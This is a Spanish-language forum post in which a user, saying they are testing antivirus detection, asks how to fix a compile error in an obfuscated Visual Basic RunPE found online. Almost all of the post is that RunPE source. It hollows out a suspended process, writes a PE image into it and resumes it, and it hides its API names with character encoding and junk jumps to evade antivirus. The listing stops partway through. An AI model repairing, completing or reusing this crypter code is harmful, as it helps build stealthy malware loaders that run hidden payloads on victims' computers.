Error RunPE compilar EXE?
Publicado: 21 Ene 2012, 16:13
por Leg3n
Hola, chicos tengo 1 duda estoy haciendo test de RunPes y generando .exe para ver las detenciones de los ptss Av's y me encontre con un RunPE en la red, el tema es al queres general el EXE simple agregando un from o con el modulo del stub y etc me sale un error en una de las funciones quisiera saber como poder areglarlo asi poder generar el EXE con normalidad desde ya gracias y saludos.
Aqui les dejo el RunPE, lo que esta en color rojo es la funcion que no me deja generar el exe me sale el error problema al compilar especificamente "(Me)" etc.
Aqui les dejo el RunPE, lo que esta en color rojo es la funcion que no me deja generar el exe me sale el error problema al compilar especificamente "(Me)" etc.
Private Const oyumggagjeYsixjUIqHI As Long = &H5A4D&
Private Const GgeaspgOxqUzñuadyGxu As Long = &H4550&
Private Const utuGriuIwfjjgYfsYaUw As Long = &H40
Private Const yeduIoUgIYyjtIGuuotG As Long = &HF8
Private Const UhulnOIffdUrphGiigdh As Long = &H28
Private Const iGpkOioGHaYUUUttYkwu As Long = &H28
Dim byqUGIgpyIvUlvzriuñz As String
Dim eIufqYOyfrUUUGYHsHnY As String
Dim pGGGYnGykfIcfykmYYii As String
Dim YtUYdUhicYYGzksYusoH As String
Private Const gOioIugwhUruhuucvxmU As Long = &H10007
Private Const uffyGñcbkfuuyjlpOñyg As Long = &H4
Private Const fnuYmiHbGvGuaubloyum As Long = &H1000
Private Const ggagjeYsixjUIqHIGgea As Long = &H2000
Private Const spgOxqUzñuadyGxuutuG As Long = &H40
Private Type riuIwfjjgYfsYaUwyedu
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type IoUgIYyjtIGuuotGUhul
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadID As Long
End Type
Private Type nOIffdUrphGiigdhiGpk
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type
Private Type OioGHaYUUUttYkwubyqU
ContextFlags As Long
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
FloatSave As nOIffdUrphGiigdhiGpk
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type
Private Type GIgpyIvUlvzriuñzeIuf
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type
Private Type qYOyfrUUUGYHsHnYpGGG
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
Characteristics As Integer
End Type
Private Type YnGykfIcfykmYYiiYtUY
VirtualAddress As Long
Size As Long
End Type
Private Type dUhicYYGzksYusoHgOio
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
Subsystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As YnGykfIcfykmYYiiYtUY
End Type
Private Type IugwhUruhuucvxmUuffy
Signature As Long
FileHeader As qYOyfrUUUGYHsHnYpGGG
OptionalHeader As dUhicYYGzksYusoHgOio
End Type
Private Type GñcbkfuuyjlpOñygfnuY
Characteristics As Long
TimeDateStamp As Long
MajorVersion As Integer
MinorVersion As Integer
lpName As Long
Base As Long
NumberOfFunctions As Long
NumberOfNames As Long
lpAddressOfFunctions As Long
lpAddressOfNames As Long
lpAddressOfNameOrdinals As Long
End Type
Private Type miHbGvGuaubloyumggag
SecName As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
Characteristics As Long
End Type
Private Declare Function wfjjgYfsYaUwyeduIoUg Lib "WINMM.DLL" (ByVal WwHBqzNU7 As Long) As Long 'fake
Private Declare Function IYyjtIGuuotGUhulnOIf Lib "gdi32" (ByVal lO8SJiOCp As Long) As Long 'fake
Private Declare Function fdUrphGiigdhiGpkOioG Lib "gdi32" (ByVal miAjPSPVg As Long) As Long 'fake
Private Declare Sub HaYUUUttYkwubyqUGIgp Lib "kernel32" Alias "RtlMoveMemory" (ByRef yIzzHykhfgjyYyUaGsUI As Any, ByRef G4Dj3C0qnrjGjIUUcmwxUGIpñcf4 As Any, ByVal zuugIbzigrYuuGughfHl As Long)
Private Declare Function yIvUlvzriuñzeIufqYOy Lib "USER32" Alias "LoadCursorFromFileA" (ByVal MCULwYsDA As String) As Long 'fake
Private Declare Function frUUUGYHsHnYpGGGYnGy Lib "gdi32" (ByVal a9rNNtxxF As Long) As Long 'fake
Private Declare Function kfIcfykmYYiiYtUYdUhi Lib "USER32" Alias "LoadCursorA" (ByVal nyZ3CTDng As Long, ByVal AHgug404o As Long) As Long 'fake
Private Declare Function cYYGzksYusoHgOioIugw Lib "gdi32" (ByVal miAjPSPVg As Long) As Long 'fake
Private hUruhuucvxmUuffyGñcb As Long
Private kfuuyjlpOñygfnuYmiHb As Long
Private GvGuaubloyumggagjeYs As Boolean
Private ixjUIqHIGgeaspgOxqUz As Long
Private ñuadyGxuutuGriuIwfjj As Long
Private gYfsYaUwyeduIoUgIYyj(&HFF) As Byte
Public Function tIGuuotGUhulnOIffdUr() As Long
'This function will be replaced with machine code laterz
'Do not add any public procedure on top of it
GoTo DxeXfvQUECxBfbnhHZmMci3
DxeXfvQUECxBfbnhHZmMci3:
End Function
Public Function GUYñogUYldiujHGxeñgU(ByRef phGiigdhiGpkOioGHaYU() As Byte, Optional UUttYkwubyqUGIgpyIvU As String, Optional ByRef lvzriuñzeIufqYOyfrUU As Long) As Boolean
GoTo UGYHsHnYpGGGYnGykfIc
UGYHsHnYpGGGYnGykfIc:
Dim qnrjGjIUUcmwxUGIpñcf As Long
GoTo GDdeSK2T92rH2gDd1v8DZg
GDdeSK2T92rH2gDd1v8DZg:
Dim aPoWicPjm As GIgpyIvUlvzriuñzeIuf
GoTo fykmYYiiYtUYdUhicYYG
fykmYYiiYtUYdUhicYYG:
Dim Q30s4r8nH As IugwhUruhuucvxmUuffy
GoTo zksYusoHgOioIugwhUru
zksYusoHgOioIugwhUru:
Dim bU5KgCAza As miHbGvGuaubloyumggag
GoTo FStsf2r3AkSN7MNasDhF
FStsf2r3AkSN7MNasDhF:
Dim qE20adkot As riuIwfjjgYfsYaUwyedu
GoTo HmTlUOfJjJHfEJwoekn6TW6Z7
HmTlUOfJjJHfEJwoekn6TW6Z7:
Dim IhWQbZd0V As IoUgIYyjtIGuuotGUhul
GoTo BA9Vyli10121
BA9Vyli10121:
Dim vvxrGnrrJ As OioGHaYUUUttYkwubyqU
GoTo K1YA4pBOLTx6K
K1YA4pBOLTx6K:
Dim X0JeTVr04 As Long
GoTo IJ3Nli
IJ3Nli:
Dim ItjaZZuIl As Long
GoTo SYKvsS
SYKvsS:
Dim aubloyumggagjeYsixjU As Long
GoTo HYzQpdh
HYzQpdh:
If Not GvGuaubloyumggagjeYs Then Exit Function
GoTo Bl5jbRoUlzMVwz4b
Bl5jbRoUlzMVwz4b:
Call HaYUUUttYkwubyqUGIgp(aPoWicPjm, phGiigdhiGpkOioGHaYU(0), utuGriuIwfjjgYfsYaUw)
GoTo I5uoj6qnrjGjIUUcmwxUGIpñcf
I5uoj6qnrjGjIUUcmwxUGIpñcf:
If Not aPoWicPjm.e_magic = oyumggagjeYsixjUIqHI Then
GoTo Xad2e0IZmi8MiD1svfhx
Xad2e0IZmi8MiD1svfhx:
Exit Function
GoTo BzO7atno8muSRNm1
BzO7atno8muSRNm1:
End If
GoTo Yf6lKjCyY
Yf6lKjCyY:
Call HaYUUUttYkwubyqUGIgp(Q30s4r8nH, phGiigdhiGpkOioGHaYU(aPoWicPjm.e_lfanew), yeduIoUgIYyjtIGuuotG)
GoTo ExRn94
ExRn94:
If Not Q30s4r8nH.Signature = GgeaspgOxqUzñuadyGxu Then
GoTo UlEAo9C251uJGfg6s31u
UlEAo9C251uJGfg6s31u:
Exit Function
GoTo MCJ0Lmzwnm
MCJ0Lmzwnm:
End If
GoTo HGaU5ZhGgDevE8T5H
HGaU5ZhGgDevE8T5H:
GoTo MqnutOBm
MqnutOBm: 'kernel32
X0JeTVr04 = uGajtfñpIijYUGOghgeu(GsUIGUYñogUYldiujHGx(Chr$(120) & Chr$(114) & Chr$(127) & Chr$(123) & Chr$(114) & Chr$(121) & Chr$(64) _
& Chr$(63), True))
GoTo AQHEzM0iq5DE5A
AQHEzM0iq5DE5A: 'ntdll
ItjaZZuIl = uGajtfñpIijYUGOghgeu(GsUIGUYñogUYldiujHGx(Chr$(123) & Chr$(129) & Chr$(113) & Chr$(121) & Chr$(121), True))
GoTo DbHzFHw6uaRfITw2uj53
DbHzFHw6uaRfITw2uj53:
If UUttYkwubyqUGIgpyIvU = vbNullString Then
GoTo YNjfWu6sAMhQga2dgy
YNjfWu6sAMhQga2dgy:
UUttYkwubyqUGIgpyIvU = Space(260)
GoTo HWlg8aXhNFg9esb8eGXH
HWlg8aXhNFg9esb8eGXH: 'TK779OFwKGowQqex2E2TlTuleFileNameW
aubloyumggagjeYsixjU = KsiMfjcXt(X0JeTVr04, GsUIGUYñogUYldiujHGx(Chr$(84) & Chr$(114) & Chr$(129) & Chr$(90) & Chr$(124) & Chr$(113) _
& Chr$(130) & Chr$(121) & Chr$(114) & Chr$(83) & Chr$(118) & Chr$(121) & Chr$(114) & Chr$(91) _
& Chr$(110) & Chr$(122) & Chr$(114) & Chr$(100), True))
GoTo NsHfvLCArXvQ6vXQn
NsHfvLCArXvQ6vXQn:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, App.hInstance, StrPtr(UUttYkwubyqUGIgpyIvU), 260
GoTo Yv1LEzZhN6sDqxpy
Yv1LEzZhN6sDqxpy:
End If
GoTo DtiaajzXfuQgAnsD
DtiaajzXfuQgAnsD:
With Q30s4r8nH.OptionalHeader
GoTo huucvxmUuffyGñcbkfuu
huucvxmUuffyGñcbkfuu:
qE20adkot.cb = Len(qE20adkot)
GoTo FzcOyn8K5wRUamF
FzcOyn8K5wRUamF:
'CreateProcessW
aubloyumggagjeYsixjU = KsiMfjcXt(X0JeTVr04, GsUIGUYñogUYldiujHGx(Chr$(80) & Chr$(127) & Chr$(114) & Chr$(110) & Chr$(129) & Chr$(114) _
& Chr$(93) & Chr$(127) & Chr$(124) & Chr$(112) & Chr$(114) & Chr$(128) & Chr$(128) & Chr$(100) _
, True))
GoTo UDwBOO8gu
UDwBOO8gu:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, 0, StrPtr(UUttYkwubyqUGIgpyIvU), 0, 0, 0, uffyGñcbkfuuyjlpOñyg, 0, 0, VarPtr(qE20adkot), VarPtr(IhWQbZd0V)
GoTo PjKoBYDN9xMAI7EbzIDP
PjKoBYDN9xMAI7EbzIDP:
'NtUnmapViewOfSection
aubloyumggagjeYsixjU = KsiMfjcXt(ItjaZZuIl, GsUIGUYñogUYldiujHGx(Chr$(91) & Chr$(129) & Chr$(98) & Chr$(123) & Chr$(122) & Chr$(110) _
& Chr$(125) & Chr$(99) & Chr$(118) & Chr$(114) & Chr$(132) & Chr$(92) & Chr$(115) & Chr$(96) & Chr$(114) _
& Chr$(112) & Chr$(129) & Chr$(118) & Chr$(124) & Chr$(123), True))
GoTo FI5DjBo5
FI5DjBo5:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, IhWQbZd0V.hProcess, .ImageBase
GoTo LAnEeBQb3l
LAnEeBQb3l:
'VirtualAllocEx
aubloyumggagjeYsixjU = KsiMfjcXt(X0JeTVr04, GsUIGUYñogUYldiujHGx(Chr$(99) & Chr$(118) & Chr$(127) & Chr$(129) & Chr$(130) & Chr$(110) _
& Chr$(121) & Chr$(78) & Chr$(121) & Chr$(121) & Chr$(124) & Chr$(112) & Chr$(82) & Chr$(133), True))
GoTo POqI0I6rZ7P
POqI0I6rZ7P:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, IhWQbZd0V.hProcess, .ImageBase, .SizeOfImage, fnuYmiHbGvGuaubloyum Or ggagjeYsixjUIqHIGgea, spgOxqUzñuadyGxuutuG
GoTo GHswW7FK99n6
GHswW7FK99n6:
'NtWriteVirtualMemory
aubloyumggagjeYsixjU = KsiMfjcXt(ItjaZZuIl, GsUIGUYñogUYldiujHGx(Chr$(91) & Chr$(129) & Chr$(100) & Chr$(127) & Chr$(118) & Chr$(129) _
& Chr$(114) & Chr$(99) & Chr$(118) & Chr$(127) & Chr$(129) & Chr$(130) & Chr$(110) & Chr$(121) _
& Chr$(90) & Chr$(114) & Chr$(122) & Chr$(124) & Chr$(127) & Chr$(134), True))
GoTo PBn1UMvrdEc6Dp
PBn1UMvrdEc6Dp:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, IhWQbZd0V.hProcess, .ImageBase, VarPtr(phGiigdhiGpkOioGHaYU(0)), .SizeOfHeaders, 0
GoTo E2tZqDxvNAkmE
E2tZqDxvNAkmE:
For qnrjGjIUUcmwxUGIpñcf = 0 To Q30s4r8nH.FileHeader.NumberOfSections - 1
GoTo CezC802
CezC802:
HaYUUUttYkwubyqUGIgp bU5KgCAza, phGiigdhiGpkOioGHaYU(aPoWicPjm.e_lfanew + yeduIoUgIYyjtIGuuotG + iGpkOioGHaYUUUttYkwu * qnrjGjIUUcmwxUGIpñcf), Len(bU5KgCAza)
GoTo REk5I6n7lAQ0A6PqQFZr
REk5I6n7lAQ0A6PqQFZr:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, IhWQbZd0V.hProcess, .ImageBase + bU5KgCAza.VirtualAddress, VarPtr(phGiigdhiGpkOioGHaYU(bU5KgCAza.PointerToRawData)), bU5KgCAza.SizeOfRawData, 0
GoTo LHD0puRFXl
LHD0puRFXl:
Next qnrjGjIUUcmwxUGIpñcf
GoTo ZZHYzctlaRo7OhMkqWR2ZktZ
ZZHYzctlaRo7OhMkqWR2ZktZ:
vvxrGnrrJ.ContextFlags = gOioIugwhUruhuucvxmU
GoTo CYK0Mrc
CYK0Mrc:
aubloyumggagjeYsixjU = KsiMfjcXt(ItjaZZuIl, GsUIGUYñogUYldiujHGx(Chr$(91) & Chr$(129) & Chr$(84) & Chr$(114) & Chr$(129) & Chr$(80) _
& Chr$(124) & Chr$(123) & Chr$(129) & Chr$(114) & Chr$(133) & Chr$(129) & Chr$(97) & Chr$(117) & Chr$(127) _
& Chr$(114) & Chr$(110) & Chr$(113), True))
GoTo CzGkdKqWxcUD9Q8NfEoC
CzGkdKqWxcUD9Q8NfEoC:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, IhWQbZd0V.hThread, VarPtr(vvxrGnrrJ)
GoTo TIdwG44g8NfdKvpt
TIdwG44g8NfdKvpt:
aubloyumggagjeYsixjU = KsiMfjcXt(ItjaZZuIl, GsUIGUYñogUYldiujHGx(Chr$(91) & Chr$(129) & Chr$(100) & Chr$(127) & Chr$(118) & Chr$(129) _
& Chr$(114) & Chr$(99) & Chr$(118) & Chr$(127) & Chr$(129) & Chr$(130) & Chr$(110) & Chr$(121) _
& Chr$(90) & Chr$(114) & Chr$(122) & Chr$(124) & Chr$(127) & Chr$(134), True))
GoTo CxNakMrJF2XQm6c
CxNakMrJF2XQm6c:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, IhWQbZd0V.hProcess, vvxrGnrrJ.Ebx + 8, VarPtr(.ImageBase), 4, 0
GoTo P0TdRIP
P0TdRIP:
vvxrGnrrJ.Eax = .ImageBase + .AddressOfEntryPoint
GoTo Qx3RvPPXO3eWYNPHQ
Qx3RvPPXO3eWYNPHQ:
aubloyumggagjeYsixjU = KsiMfjcXt(ItjaZZuIl, GsUIGUYñogUYldiujHGx(Chr$(91) & Chr$(129) & Chr$(96) & Chr$(114) & Chr$(129) & Chr$(80) _
& Chr$(124) & Chr$(123) & Chr$(129) & Chr$(114) & Chr$(133) & Chr$(129) & Chr$(97) & Chr$(117) & Chr$(127) _
& Chr$(114) & Chr$(110) & Chr$(113), True))
GoTo GiLVmtHg
GiLVmtHg:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, IhWQbZd0V.hThread, VarPtr(vvxrGnrrJ)
GoTo SvYobkA15DFb9s
SvYobkA15DFb9s:
'NtResumeThread
aubloyumggagjeYsixjU = KsiMfjcXt(ItjaZZuIl, GsUIGUYñogUYldiujHGx(Chr$(91) & Chr$(129) & Chr$(95) & Chr$(114) & Chr$(128) & Chr$(130) _
& Chr$(122) & Chr$(114) & Chr$(97) & Chr$(117) & Chr$(127) & Chr$(114) & Chr$(110) & Chr$(113) _
, True))
GoTo ZDRlH1vx3wfTTv9yRutuPz
ZDRlH1vx3wfTTv9yRutuPz:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, IhWQbZd0V.hThread, 0
GoTo DUbpND
DUbpND:
lvzriuñzeIufqYOyfrUU = IhWQbZd0V.hProcess
GoTo DRUCyhIISCEXrud
DRUCyhIISCEXrud:
End With
GoTo CCnQS6bidcCkQqsslsvcC
CCnQS6bidcCkQqsslsvcC:
GUYñogUYldiujHGxeñgU = True
GoTo ZWphB9tzDdyGv5ARPmoUcUz
ZWphB9tzDdyGv5ARPmoUcUz:
End Function
Public Function yjlpOñygfnuYmiHbGvGu(ByVal aubloyumggagjeYsixjU As Long, ParamArray IqHIGgeaspgOxqUzñuad()) As Long
GoTo yGxuutuGriuIwfjjgYfs
yGxuutuGriuIwfjjgYfs:
Dim c05VSFvKp As Long
GoTo YaUwyeduIoUgIYyjtIGu
YaUwyeduIoUgIYyjtIGu:
Dim qnrjGjIUUcmwxUGIpñcf As Long
GoTo SCWUA9AKd7OWeRS
SCWUA9AKd7OWeRS:
Dim bqJXWwVc8 As String
GoTo PFpdFMLp
PFpdFMLp:
Dim kJjqYk6tK As String
GoTo Izt8H7rJeVbkhdcg8qnrjGjIUUcmwxUGIpñcf
Izt8H7rJeVbkhdcg8qnrjGjIUUcmwxUGIpñcf:
If aubloyumggagjeYsixjU = 0 Then Exit Function
GoTo W80O0ln9SJeLtK0RLw
W80O0ln9SJeLtK0RLw:
For qnrjGjIUUcmwxUGIpñcf = UBound(IqHIGgeaspgOxqUzñuad) To 0 Step -1
GoTo McOEUstHtBeCpa9pqBdm
McOEUstHtBeCpa9pqBdm:
kJjqYk6tK = kJjqYk6tK & GsUIGUYñogUYldiujHGx(Chr$(67) & Chr$(69), True) & uotGUhulnOIffdUrphGi(CLng(IqHIGgeaspgOxqUzñuad(qnrjGjIUUcmwxUGIpñcf)))
GoTo OULzh7sTEgo
OULzh7sTEgo:
Next
GoTo WZxP8w4iZrp30Ptw
WZxP8w4iZrp30Ptw:
c05VSFvKp = VarPtr(gYfsYaUwyeduIoUgIYyj(0))
GoTo Ni9uM1TXy1Gxao7x6sO3N
Ni9uM1TXy1Gxao7x6sO3N:
c05VSFvKp = c05VSFvKp + (UBound(IqHIGgeaspgOxqUzñuad) + 2) * 5
GoTo ZeZ9a9Z
ZeZ9a9Z:
c05VSFvKp = aubloyumggagjeYsixjU - c05VSFvKp - 5
GoTo VC8LbQiFNzV
VC8LbQiFNzV:
bqJXWwVc8 = byqUGIgpyIvUlvzriuñz
GoTo X6SQ5L3tBu7f8NwjgsFfVfIax
X6SQ5L3tBu7f8NwjgsFfVfIax:
bqJXWwVc8 = Replace(bqJXWwVc8, pGGGYnGykfIcfykmYYii, kJjqYk6tK)
GoTo IAggxW8
IAggxW8:
bqJXWwVc8 = Replace(bqJXWwVc8, YtUYdUhicYYGzksYusoH, uotGUhulnOIffdUrphGi(c05VSFvKp))
GoTo NKL8u5JlfACrLTRxtWUQn
NKL8u5JlfACrLTRxtWUQn:
Call OuIaOouUUYiYmOfGbxhu(bqJXWwVc8)
GoTo DcThVnBzdeCVg3
DcThVnBzdeCVg3:
yjlpOñygfnuYmiHbGvGu = ñvpHkelyrIYqYmukgkwc
GoTo BNE9PHegb
BNE9PHegb:
End Function
Private Function uotGUhulnOIffdUrphGi(ByVal igdhiGpkOioGHaYUUUtt As Long) As String
GoTo YkwubyqUGIgpyIvUlvzr
YkwubyqUGIgpyIvUlvzr:
Dim cBQRQeIjv(3) As Byte
GoTo HBkL8qnrjGjIUUcmwxUGIpñcf0FZ3CDH
HBkL8qnrjGjIUUcmwxUGIpñcf0FZ3CDH:
Dim qnrjGjIUUcmwxUGIpñcf As Long
GoTo Yain09r0cpW939x1GKEtkvbhy
Yain09r0cpW939x1GKEtkvbhy:
HaYUUUttYkwubyqUGIgp cBQRQeIjv(0), igdhiGpkOioGHaYUUUtt, &H4
GoTo CT0OZRDjvWv2sIvJSYPFf2
CT0OZRDjvWv2sIvJSYPFf2:
For qnrjGjIUUcmwxUGIpñcf = 0 To 3
GoTo iuñzeIufqYOyfrUUUGYH
iuñzeIufqYOyfrUUUGYH:
uotGUhulnOIffdUrphGi = uotGUhulnOIffdUrphGi & Right(GsUIGUYñogUYldiujHGx(Chr$(61), True) & Hex(cBQRQeIjv(qnrjGjIUUcmwxUGIpñcf)), 2)
GoTo hgeufGYfuwUoxkGnkUxr
hgeufGYfuwUoxkGnkUxr:
Next
GoTo JM3ftTh275IA9
JM3ftTh275IA9:
End Function
Private Sub OuIaOouUUYiYmOfGbxhu(ByVal ahsYylsdgYytiOiGiplm As String)
GoTo OrJbGObJZN6jpEsgO
OrJbGObJZN6jpEsgO:
Dim qnrjGjIUUcmwxUGIpñcf As Long
GoTo MOllMufpw06hACGGZpvm
MOllMufpw06hACGGZpvm:
For qnrjGjIUUcmwxUGIpñcf = 0 To Len(ahsYylsdgYytiOiGiplm) - 1 Step 2
GoTo KdllVEi2eDk9nT3B7bhUk
KdllVEi2eDk9nT3B7bhUk:
gYfsYaUwyeduIoUgIYyj((qnrjGjIUUcmwxUGIpñcf / 2)) = CByte(GsUIGUYñogUYldiujHGx(Chr$(51) & Chr$(117), True) & Mid$(ahsYylsdgYytiOiGiplm, qnrjGjIUUcmwxUGIpñcf + 1, 2))
GoTo Z6nX3e7ypTXEfEhkT1p3bgz
Z6nX3e7ypTXEfEhkT1p3bgz:
Next qnrjGjIUUcmwxUGIpñcf
GoTo HBYrdKf7
HBYrdKf7:
End Sub
Private Function ñvpHkelyrIYqYmukgkwc() As Long
GoTo T5wo50odZw21T
T5wo50odZw21T:
HaYUUUttYkwubyqUGIgp ixjUIqHIGgeaspgOxqUz, ByVal ObjPtr(Me), &H4
GoTo S8zxsN3mj78n70gmS
S8zxsN3mj78n70gmS:
ixjUIqHIGgeaspgOxqUz = ixjUIqHIGgeaspgOxqUz + &H1C
GoTo dpGeyIgGzuugIbzigrYu
dpGeyIgGzuugIbzigrYu:
HaYUUUttYkwubyqUGIgp ñuadyGxuutuGriuIwfjj, ByVal ixjUIqHIGgeaspgOxqUz, &H4
GoTo uGughfHlntUvvafUoYnl
uGughfHlntUvvafUoYnl:
HaYUUUttYkwubyqUGIgp ByVal ixjUIqHIGgeaspgOxqUz, VarPtr(gYfsYaUwyeduIoUgIYyj(0)), &H4
GoTo M2aowm
M2aowm:
ñvpHkelyrIYqYmukgkwc = tIGuuotGUhulnOIffdUr
GoTo GipUisGuyIzzHykhfgjy
GipUisGuyIzzHykhfgjy:
HaYUUUttYkwubyqUGIgp ByVal ixjUIqHIGgeaspgOxqUz, ñuadyGxuutuGriuIwfjj, &H4
GoTo C2M78yf5qGtRqC
C2M78yf5qGtRqC:
End Function
Public Function YyUaGsUIGUYñogUYldiu(ByVal jHGxeñgUIhuudiusayUH As String, ByVal sffzñYdGYfuOuioofzyG As String) As Long
GoTo wYtuYuHdYuqUcqbiIIvb
wYtuYuHdYuqUcqbiIIvb:
YyUaGsUIGUYñogUYldiu = Me.KsiMfjcXt(Me.uGajtfñpIijYUGOghgeu(jHGxeñgUIhuudiusayUH), sffzñYdGYfuOuioofzyG)
GoTo Z5wT5CxcIz
Z5wT5CxcIz:
End Function
Public Function uGajtfñpIijYUGOghgeu(ByVal jHGxeñgUIhuudiusayUH As String) As Long
GoTo OouUUYiYmOfGbxhuahsY
OouUUYiYmOfGbxhuahsY:
uGajtfñpIijYUGOghgeu = yjlpOñygfnuYmiHbGvGu(kfuuyjlpOñygfnuYmiHb, StrPtr(jHGxeñgUIhuudiusayUH & vbNullChar))
GoTo ylsdgYytiOiGiplmqnrj
ylsdgYytiOiGiplmqnrj:
End Function
Public Property Get Initialized() As Boolean
GoTo GjIUUcmwxUGIpñcfñvpH
GjIUUcmwxUGIpñcfñvpH:
Initialized = GvGuaubloyumggagjeYs
GoTo kelyrIYqYmukgkwcdpGe
kelyrIYqYmukgkwcdpGe:
End Property
Public Sub Class_Initialize()
GoTo yIgGzuugIbzigrYuuGug
yIgGzuugIbzigrYuuGug:
pGGGYnGykfIcfykmYYii = GsUIGUYñogUYldiujHGx(Chr$(73) & Chr$(101) & Chr$(134) & Chr$(69) & Chr$(89) & Chr$(81) & Chr$(65) & Chr$(92) _
& Chr$(69) & Chr$(94) & Chr$(62) & Chr$(134) & Chr$(91) & Chr$(135) & Chr$(111) & Chr$(101) & Chr$(129) _
& Chr$(66) & Chr$(114) & Chr$(119) & Chr$(101) & Chr$(75), True)
GoTo hfHlntUvvafUoYnlGipU
hfHlntUvvafUoYnlGipU:
YtUYdUhicYYGzksYusoH = GsUIGUYñogUYldiujHGx(Chr$(73) & Chr$(87) & Chr$(124) & Chr$(98) & Chr$(123) & Chr$(99) & Chr$(97) & Chr$(100) _
& Chr$(135) & Chr$(96) & Chr$(88) & Chr$(69) & Chr$(125) & Chr$(64) & Chr$(97) & Chr$(69) & Chr$(126) _
& Chr$(82) & Chr$(96) & Chr$(128) & Chr$(119) & Chr$(75), True)
GoTo isGuyIzzHykhfgjyYyUa
isGuyIzzHykhfgjyYyUa:
eIufqYOyfrUUUGYHsHnY = GsUIGUYñogUYldiujHGx(Chr$(69) & Chr$(79) & Chr$(65) & Chr$(80) & Chr$(63) & Chr$(65) & Chr$(61) & Chr$(69) _
& Chr$(66) & Chr$(67) & Chr$(66) & Chr$(66) & Chr$(64) & Chr$(62) & Chr$(80) & Chr$(61) & Chr$(67) _
& Chr$(65) & Chr$(69) & Chr$(79) & Chr$(68) & Chr$(61) & Chr$(64) & Chr$(61) & Chr$(69) & Chr$(79) _
& Chr$(68) & Chr$(67) & Chr$(61) & Chr$(80) & Chr$(69) & Chr$(79) & Chr$(68) & Chr$(67) & Chr$(62) _
& Chr$(80) & Chr$(69) & Chr$(79) & Chr$(67) & Chr$(82) & Chr$(61) & Chr$(69) & Chr$(69) & Chr$(79) _
& Chr$(68) & Chr$(82) & Chr$(63) & Chr$(61) & Chr$(69) & Chr$(79) & Chr$(64) & Chr$(67) & Chr$(64) _
& Chr$(69) & Chr$(65) & Chr$(68) & Chr$(62) & Chr$(69) & Chr$(68) & Chr$(66) & Chr$(83) & Chr$(64) _
& Chr$(69) & Chr$(61) & Chr$(64) & Chr$(83) & Chr$(67) & Chr$(79) & Chr$(68) & Chr$(65) & Chr$(61) _
& Chr$(68) & Chr$(69) & Chr$(61) & Chr$(64) & Chr$(83) & Chr$(65) & Chr$(79) & Chr$(68) & Chr$(65) _
& Chr$(61) & Chr$(63) & Chr$(82) & Chr$(79) & Chr$(82) & Chr$(68) & Chr$(69) & Chr$(70) & Chr$(63) _
& Chr$(70) & Chr$(66) & Chr$(81) & Chr$(66) & Chr$(82) & Chr$(80) & Chr$(64), True)
GoTo DMzIyWnAhhduycl4DxpuhgQ4d
DMzIyWnAhhduycl4DxpuhgQ4d:
byqUGIgpyIvUlvzriuñz = GsUIGUYñogUYldiujHGx(Chr$(69) & Chr$(79) & Chr$(65) & Chr$(80) & Chr$(63) & Chr$(65) & Chr$(61) & Chr$(69) _
& Chr$(66) & Chr$(62) & Chr$(73) & Chr$(101) & Chr$(134) & Chr$(69) & Chr$(89) & Chr$(81) & Chr$(65) _
& Chr$(92) & Chr$(69) & Chr$(94) & Chr$(62) & Chr$(134) & Chr$(91) & Chr$(135) & Chr$(111) & Chr$(101) _
& Chr$(129) & Chr$(66) & Chr$(114) & Chr$(119) & Chr$(101) & Chr$(75) & Chr$(82) & Chr$(69) & Chr$(73) _
